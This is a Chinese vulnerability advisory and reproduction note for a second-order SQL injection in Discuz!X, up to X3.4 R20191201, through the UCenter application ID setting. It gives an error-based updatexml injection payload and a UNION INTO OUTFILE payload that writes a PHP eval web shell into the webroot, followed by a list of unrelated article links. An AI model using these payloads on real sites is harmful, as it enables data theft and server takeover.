0x01漏洞描述

Discuz!X全版本存在SQL注入漏洞。漏洞产生的原因是source\admincp\admincp_setting.php在处理$settingnew['uc']['appid']参数时未进行完全过滤,导致出现二次注入。在特定条件下,攻击者可以利用该漏洞获取服务器权限。

0x02影响范围

Discuz! X系列全版本,截止Discuz!X最新的Discuz! X3.4 R20191201版本

0x03漏洞详情

(1)\source\admincp\admincp_setting.php第2571行,用户可控参数$settingnew['uc']['appid']替换掉.\config\config_ucenter.php配置文件中的常量UC_APPID的值,并写入配置文件

(2)\uc_client\model\base.php第206行,UC_APPID直接拼接到SQL语句中

(3)当调用函数时将触发二次注入

0x04漏洞复现

(1)在站长-UCenter设置下的应用ID中输入1’

(2)访问首页将触发产生SQL报错

(3)故可以插入其他测试payload

' and (updatexml(1,concat(0x7e,(select version()),0x7e),1));-- a

(4)写马

' union select '<?php @eval($_POST[]);?>' into outfile 'C:/phpStudy/PHPTutorial/WWW/shell.php';-- a

0x05修复建议

(1)后台不使用弱口令

(2)官方暂未发布补丁,关注官方补丁信息

最新文章

  1. BZOJ 2079: [Poi2010]Guilds
  2. mybatis:Invalid bound statement (not found)
  3. 基站查询接口,基站查询API
  4. 设计模式-观察者模式(List列表维护观察者)
  5. MVC &ndash; 4.mvc初体验(1)
  6. php过滤textarea 中的换行符问题
  7. Android之使用MediaMetadataRetriever类获取媒体信息
  8. 查询Python版本
  9. Golang 入门系列(六)理解Go中的协程(Goroutine)
  10. Existing lock /var/run/yum.pid: another copy is running as pid 解决办法
  11. What to do when you have small dataset - 拥有小型数据集时该怎么办
  12. 模拟获取post数据的方式
  13. Eclipes导入工程
  14. Halcon除法
  15. bash 的相关配置
  16. 【HDU5730】 Shell Necklace
  17. 微服务深入浅出(4)-- 负载均衡Ribbon
  18. CUDA Samples: heat conduction(模拟热传导)
  19. springboot+mybatis+thymeleaf+docker构建的个人站点开源项目(集成了个人主页、个人作品、个人博客)
  20. APICloud的App怎么在手机上测试运行

热门文章

  1. 使用AOP思想封装JDBC
  2. tensorflow安装过程-(windows环境下)---详解
  3. 手写web框架之实现依赖注入功能
  4. Java日志体系(一)发展历程
  5. Junit单元测试学习
  6. .NET中的简单的并行
  7. Tensorflow 用训练好的模型预测
  8. Top 5 Business Messaging Announcements at Facebook F8 2019
  9. mongodb base
  10. Macaca环境搭建(四)----mac系统macaca安装